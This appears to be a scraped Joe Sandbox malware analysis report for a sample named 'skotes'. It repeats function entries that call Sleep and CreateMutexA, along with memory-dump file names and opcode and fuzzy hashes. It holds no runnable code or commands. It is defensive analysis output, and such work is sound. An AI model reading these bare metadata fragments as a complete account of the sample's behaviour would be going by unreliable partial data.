
Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000002.00000002.2211661900.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2211642134.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211661900.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211726487.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211745385.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211766707.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211882784.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211908376.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211984440.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212007165.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212027388.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212053040.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212075033.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212095083.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212115749.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212138577.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212161657.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212180221.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212199603.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212223956.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212244847.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212268954.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212291358.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212321805.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212339734.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212359612.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212381992.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212404685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212433729.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212455415.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212476561.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212499490.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212524826.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212560156.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212583740.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212604897.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212630026.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212709439.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212732275.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212760073.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212785203.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212807860.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212829136.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212857506.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212879557.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8eb3ac8585a3cfb44e76c1e6385b9a30c28d4d0a748de6441b70a06f0fd39996
Instruction ID: 088b7d2b8736de5200752b2081af61a0871ad8b88df323ecead22fa1c2e26389
Opcode Fuzzy Hash: 8eb3ac8585a3cfb44e76c1e6385b9a30c28d4d0a748de6441b70a06f0fd39996
Instruction Fuzzy Hash: 78312A31A042049BFF08AB78DDC97ADBBE2EB86314F248299E054D73E5CB769981C751

Function 00B89F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000002.00000002.2211661900.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2211642134.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211661900.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211726487.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211745385.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211766707.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211882784.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211908376.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211984440.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212007165.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212027388.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212053040.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212075033.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212095083.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212115749.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212138577.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212161657.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212180221.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212199603.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212223956.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212244847.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212268954.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212291358.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212321805.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212339734.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212359612.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212381992.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212404685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212433729.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212455415.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212476561.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212499490.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212524826.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212560156.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212583740.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212604897.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212630026.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212709439.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212732275.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212760073.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212785203.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212807860.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212829136.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212857506.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212879557.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6e3656eebeb2664ab0b7a587075c564c748f170777feef1f6256edc97a3af77b
Instruction ID: f6cd4eca4ac889f762c92ff05d230208f7347db50885d08bca3ee05c75348c4b
Opcode Fuzzy Hash: 6e3656eebeb2664ab0b7a587075c564c748f170777feef1f6256edc97a3af77b
Instruction Fuzzy Hash: 49314A316042449BFF18AB78DC997ADB7E2EB86314F248699E054D73E1CB35A980C752

Function 00B8A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000002.00000002.2211661900.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2211642134.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211661900.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211726487.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211745385.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211766707.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211882784.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211908376.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211984440.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212007165.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212027388.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212053040.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212075033.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212095083.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212115749.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212138577.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212161657.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212180221.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212199603.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212223956.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212244847.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212268954.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212291358.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212321805.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212339734.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212359612.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212381992.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212404685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212433729.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212455415.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212476561.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212499490.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212524826.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212560156.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212583740.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212604897.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212630026.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212709439.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212732275.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212760073.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212785203.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212807860.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212829136.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212857506.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212879557.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: bcad80c4da625ea6b930a27833432d3401bd8fd7821c4dd8ee37dc5768bceb35
Instruction ID: 11558ce7b1d1911c522c6be874d37a6309b113f523419f76a11a3cb68ce31112
Opcode Fuzzy Hash: bcad80c4da625ea6b930a27833432d3401bd8fd7821c4dd8ee37dc5768bceb35
Instruction Fuzzy Hash: BF312A316041049BFB08BB78DCC97ADB7E2EB86314F24829AE054E73E1CB359980C752

Function 00B8A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000002.00000002.2211661900.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2211642134.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211661900.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211726487.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211745385.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211766707.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211882784.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211908376.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211984440.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212007165.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212027388.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212053040.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212075033.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212095083.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212115749.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212138577.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212161657.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212180221.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212199603.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212223956.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212244847.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212268954.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212291358.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212321805.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212339734.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212359612.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212381992.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212404685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212433729.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212455415.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212476561.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212499490.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212524826.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212560156.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212583740.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212604897.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212630026.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212709439.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212732275.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212760073.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212785203.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212807860.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212829136.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212857506.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212879557.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4059aa12aa17c3c27220e57023197437c577d1d3b940ca0138dce6b4bd0f564a
Instruction ID: 61e61fd51b50fc7e03994564c2385b61e8fce7cca27da545ffed0fee7dfb2416
Opcode Fuzzy Hash: 4059aa12aa17c3c27220e57023197437c577d1d3b940ca0138dce6b4bd0f564a
Instruction Fuzzy Hash: A1310931A041409FFB18BB68DCC976DB7E2EB86314F24829AE054973E1DB759980C752

Function 00B8A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000002.00000002.2211661900.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2211642134.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211661900.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211726487.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211745385.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211766707.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211882784.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211908376.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211935873.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2211984440.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212007165.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212027388.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212053040.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212075033.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212095083.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212115749.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212138577.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212161657.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212180221.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212199603.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212223956.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212244847.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212268954.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212291358.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212321805.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212339734.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212359612.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212381992.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212404685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212433729.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212455415.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212476561.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212499490.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212524826.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212560156.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212583740.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212604897.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212630026.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212648989.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212709439.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212732275.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212760073.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212785203.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212807860.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212829136.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212857506.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2212879557.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ae24a17fb9ddc21d8967a9edba00150ff008881fe9803f080a2e4377e602fb6d
Instruction ID: 8d445855e308f7813b80df79a2fb355bf6cc309bcabf649930d8eb28f8f79489
Opcode Fuzzy Hash: ae24a17fb9ddc21d8967a9edba00150ff008881fe9803f080a2e4377e602fb6d
Instruction Fuzzy Hash: F0310C316041409BFF18BB78DCC97ADB7E2EBC6314F248299E054973E5DBB59980C752

Function 00B8A54D Relevance: 3.1, APIs: 2, Instructions: 132
